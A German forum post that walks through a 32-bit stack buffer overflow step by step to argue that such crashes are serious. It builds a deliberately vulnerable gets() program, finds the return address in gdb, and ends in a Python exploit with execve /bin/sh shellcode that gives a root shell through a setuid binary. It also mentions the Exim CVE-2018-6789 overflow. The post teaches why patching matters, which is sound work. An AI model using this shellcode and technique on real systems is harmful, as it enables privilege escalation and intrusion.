F
foo_1337
Gast
Ok, beginnen wir mal mit simplem code:
Und compilieren diesen (32bit ohne gcc stack protector)
Der Compiler meckert direkt über gets()
Nun schicken wir einen 100Zeichen string und sehen, dass das ding direkt crashed. Nach @peter.hahns aussage also nichts schlimmes… Warum auch, stürtz ja nur das Programm ab. Denkt man. Machen wir mal weiter..
Machen wir das ganze mal mit einem Pattern und schauen wir uns das ganze mit gdb an und setzen einen breakpoint bei main und injecten das Pattern:
Wir sehen: Das ding crashed wenn das Pattern gesendet wird.
Machen wir weiter:
Interessant ist: leave, denn da ists vorbei . Wir müssen also den breakpoint vor leave setzen:
Holen wir uns die eip Adresse:
So, jetzt haben wir eigentlich fast alles, was wir brauchen. Der Shellcode fhelt noch. Den findet man eigentlich überall im netz.
Hier nehmen wir mal ein simples execve /bin/sh.
Wir füllen erstmal den Buffer mit genug Zeichen um den Overflow zu roduzieren. Dann schreiben wir den Shellcode, wofür wir eine neue eip brauchen. Nehmen wir die vorhandene und rechnen 4 Bytes dazu: 0xffffd56c +4 = 0xffffd570. Das Exploit sieht dann so aus:
So, nun ist es soweit. Stellen wir uns einfach vor, der Fehler wäre in einem setuid binary wie z.B. Ping:
Und schwupps bin ich root. Und so läuft das halt die ganze Zeit. Wenn das alles kein Problem wäre, müssten wir ja auch nichts mehr patchen Klar habe ich oben den stack protector deaktiviert, aber der hilft auch nur gegen so simple sachen wie dieses hier.
Diese exim Lücke war btw auch sehr nett, weil es recht schnell PoC Exploits gab:
http://exim.org/static/doc/security/CVE-2018-6789.txt
RCE durch buffer overflow. Und nichts schützt einen davor: Keine CPU, kein Kernel, kein w^x und kein Compiler.
Code:
$ cat cb-overflow-poc.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
Code:
$ cc -o cb-overflow-poc cb-overflow-poc.c -fno-stack-protector -m32
cb-overflow-poc.c: In function ‘main’:
cb-overflow-poc.c:10:2: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
gets(buffer);
^~~~
fgets
/tmp/ccrtr8OU.o: In function `main':
cb-overflow-poc.c:(.text+0x2b): warning: the `gets' function is dangerous and should not be used.
Nun schicken wir einen 100Zeichen string und sehen, dass das ding direkt crashed. Nach @peter.hahns aussage also nichts schlimmes… Warum auch, stürtz ja nur das Programm ab. Denkt man. Machen wir mal weiter..
Code:
$ python -c "print 'A' * 100" | ./cb-overflow-poc
Segmentation fault (core dumped)
Machen wir das ganze mal mit einem Pattern und schauen wir uns das ganze mit gdb an und setzen einen breakpoint bei main und injecten das Pattern:
Code:
$ python2 pattern.py create 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
(gdb) break main
Breakpoint 1 at 0x63e
(gdb) run
Starting program: /tmp/cb-overflow-poc
Breakpoint 1, 0x000055555555463e in main ()
(gdb) c
Continuing.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
Wir sehen: Das ding crashed wenn das Pattern gesendet wird.
Machen wir weiter:
Code:
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x5655551d <+0>: lea ecx,[esp+0x4]
0x56555521 <+4>: and esp,0xfffffff0
0x56555524 <+7>: push DWORD PTR [ecx-0x4]
0x56555527 <+10>: push ebp
0x56555528 <+11>: mov ebp,esp
0x5655552a <+13>: push ebx
0x5655552b <+14>: push ecx
0x5655552c <+15>: sub esp,0x40
0x5655552f <+18>: call 0x56555559 <__x86.get_pc_thunk.ax>
0x56555534 <+23>: add eax,0x1aa4
0x56555539 <+28>: sub esp,0xc
0x5655553c <+31>: lea edx,[ebp-0x48]
0x5655553f <+34>: push edx
0x56555540 <+35>: mov ebx,eax
0x56555542 <+37>: call 0x565553b0 <gets@plt>
0x56555547 <+42>: add esp,0x10
0x5655554a <+45>: mov eax,0x0
0x5655554f <+50>: lea esp,[ebp-0x8]
0x56555552 <+53>: pop ecx
0x56555553 <+54>: pop ebx
0x56555554 <+55>: pop ebp
0x56555555 <+56>: lea esp,[ecx-0x4]
=> 0x56555558 <+59>: ret
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
Interessant ist: leave, denn da ists vorbei . Wir müssen also den breakpoint vor leave setzen:
Code:
(gdb) break *0x56555555
import struct
Breakpoint 3 at 0x56555555: file cb-overflow-poc.c, line 11.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/cb-overflow-poc
Breakpoint 1, main (argc=1, argv=0xffffd604) at cb-overflow-poc.c:10
10 gets(buffer);
(gdb)
Holen wir uns die eip Adresse:
Code:
(gdb) info frame
Stack level 0, frame at 0xffffd570:
eip = 0x56555539 in main (cb-overflow-poc.c:10); saved eip = 0xf7e03f21
source language c.
Arglist at 0xffffd558, args: argc=1, argv=0xffffd604
Locals at 0xffffd558, Previous frame's sp is 0xffffd570
Saved registers:
ebx at 0xffffd554, ebp at 0xffffd558, eip at 0xffffd56c
So, jetzt haben wir eigentlich fast alles, was wir brauchen. Der Shellcode fhelt noch. Den findet man eigentlich überall im netz.
Hier nehmen wir mal ein simples execve /bin/sh.
Wir füllen erstmal den Buffer mit genug Zeichen um den Overflow zu roduzieren. Dann schreiben wir den Shellcode, wofür wir eine neue eip brauchen. Nehmen wir die vorhandene und rechnen 4 Bytes dazu: 0xffffd56c +4 = 0xffffd570. Das Exploit sieht dann so aus:
Code:
$ cat exploit.py
import struct
pad = "\x41" * 76 #76 um den overflow zu triggern
EIP = struct.pack("I", 0xffffd570)
shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
NOP = "\x90" * 100
print pad + EIP + NOP + shellcode
So, nun ist es soweit. Stellen wir uns einfach vor, der Fehler wäre in einem setuid binary wie z.B. Ping:
Code:
$ sudo chown root /tmp/cb-overflow-poc
$ sudo chmod 4755 /tmp/cb-overflow-poc
$ python2 ./exploit.py |/tmp/cb-overflow-poc
# whoami
root
Und schwupps bin ich root. Und so läuft das halt die ganze Zeit. Wenn das alles kein Problem wäre, müssten wir ja auch nichts mehr patchen Klar habe ich oben den stack protector deaktiviert, aber der hilft auch nur gegen so simple sachen wie dieses hier.
Diese exim Lücke war btw auch sehr nett, weil es recht schnell PoC Exploits gab:
http://exim.org/static/doc/security/CVE-2018-6789.txt
RCE durch buffer overflow. Und nichts schützt einen davor: Keine CPU, kein Kernel, kein w^x und kein Compiler.
Zuletzt bearbeitet von einem Moderator: